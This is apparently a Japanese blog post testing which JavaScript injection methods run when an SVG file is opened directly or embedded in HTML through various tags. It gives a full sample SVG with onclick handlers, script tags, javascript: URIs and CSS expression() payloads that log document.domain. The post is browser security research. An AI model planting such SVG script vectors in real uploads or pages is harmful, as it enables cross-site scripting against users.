SVGでXSSをしてみる。その1
svgにjavascriptが埋め込んだ時の挙動がどう違うのか気になっていろいろ試したのでとりあえずまとめてみます。
特に言及していなければfirefoxで試しています。
scriptを混入させたsvgを書く
思いつくjavascriptをいれる方法をひと通り入れてみました。
明らかに動かなさそうなものやxssじゃないものもはいってますが挙動が気になったので入れてみました。
- onclick="console.log()"
- 内部スクリプトでのelem.onclick = function(){console.log()}
- 外部スクリプトでのelem.onclick = function(){console.log()}
- style属性でのexpression: style="stroke-width:expression(console.log())"
- cssでのexpression: .xss{stroke-width:expression(console.log())}
- htmlでいう<img src='javascript:console.log()'/>
- htmlでいう<img src='xss.js'/>
- aタグのhref='javascript:console.log'
- scriptタグでの外部スクリプト(script.js)を実行
- scriptタグでのインラインスクリプトを実行
<?xml version="1.0" encoding="utf-8"?> <?xml-stylesheet href="xss.css" type="text/css"?> <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <text x="100" y="100" onclick="console.log('text onclick: '+document.domain)">onclick</text> <text x="100" y="120" id="elem_ex">event handler(external)</text> <text x="100" y="140" id="elem_in">event handler(internal)</text> <circle cx="40" cy="40" r="20" style="stroke-width:expression(console.log('expression:'+document.domain));;fill:red;stroke:black;"></circle> <circle cx="40" cy="80" r="20" class="xss"></circle> <image x="0" y="100" height="100px" width="100px" xlink:href="cat.png"/> <image x="0" y="200" height="100px" width="100px" xlink:href="javascript:console.log('image src:'+document.domain)"/> <image x="0" y="300" height="100px" width="100px" xlink:href="consolelog.js"/> <a xlink:href="javascript:console.log('a tag href:'+document.domain)"><text x="100" y="160">a tag href</text></a> <script xlink:href="script.js"></script> <script> console.log('inline script: '+document.domain) document.getElementById("elem_in").onclick=function(){ console.log('internal javascript onclick:'+document.domain) }; </script> </svg>
.xss{ fill:blue; stroke:red; stroke-width: expression(console.log("css expression:"+document.domain)); }
- consolelog.js
console.log("console log: "+document.domain)
- script.js
window.onload = function(){ console.log('external javascript:'+document.domain); document.getElementById("elem_ex").onclick=function(){ console.log('external javascript onclick:'+document.domain) }; };
一応gistに上げてあります。
https://gist.github.com/cocu/8085221
これを直接ブラウザで表示させるとこんな感じになります。
onclickを設定した要素をすべてクリックした後のコンソールがこれです。
見難いので先ほどで通らなかったものに線を引きます。
- onclick="console.log()"
- 内部スクリプトでのelem.onclick = function(){console.log()}
- 外部スクリプトでのelem.onclick = function(){console.log()}
style属性でのexpression: style="stroke-width:expression(console.log())"*1cssでのexpression: .xss{stroke-width:expression(console.log())}*2htmlでいう<img src='javascript:console.log()'/>*3htmlでいう<img src='xss.js'/>- aタグのhref='javascript:console.log'
- scriptタグでの外部スクリプト(script.js)を実行
- scriptタグでのインラインスクリプトを実行
svgをhtmlに入れる
先程はsvgそのままをブラウザで表示させました。
これをhtmlに入れてみます。
入れる方法としては次の7つがあります。
- objectタグ
- embedタグ
- iframeタグ
- svgタグ
- imgタグ
- inputタグtype=image
- background属性
https://gist.github.com/cocu/8086611
それぞれの挙動の違いについてはこちらのページがよくまとまっています。
表示方法についての補足を参照してください。
(ほぼ同じことを試しています。)
svg要素の基本的な使い方まとめ
http://www.h2.dion.ne.jp/~defghi/svgMemo/svgMemo_02.htm
これらを実際にそれぞれ試してみました。
objectタグ
embedタグ
iframeタグ
svgタグ(inline svg)
※inline svgではxmlのcss読み込みができないためhead内のlinkタグで行っています
間違った画像を貼ってしまっていたので貼り直しました。
修正前:http://f.hatena.ne.jp/cocu_628496/20131223031902 (2013 12/24 02:53)
imgタグ
inputタグtype=image
background属性
結論
objectタグ,embedタグ,iframeタグ,svgタグに関して
追記(2013 12/23 0416)
ちなみに、Animated Modeの挙動はブラウザによっても違うようです。
- IE(11)
- chrome(31.0)
- opera(9.6.0)
IEとoperaは外部ファイルが反映されており、スクリプトは実行されていません。
chromeはまた違った挙動を示しています(要検証)
次の記事でContents-Security-Policy下での挙動について触れます。
http://cocu.hatenablog.com/entry/2013/12/24/060950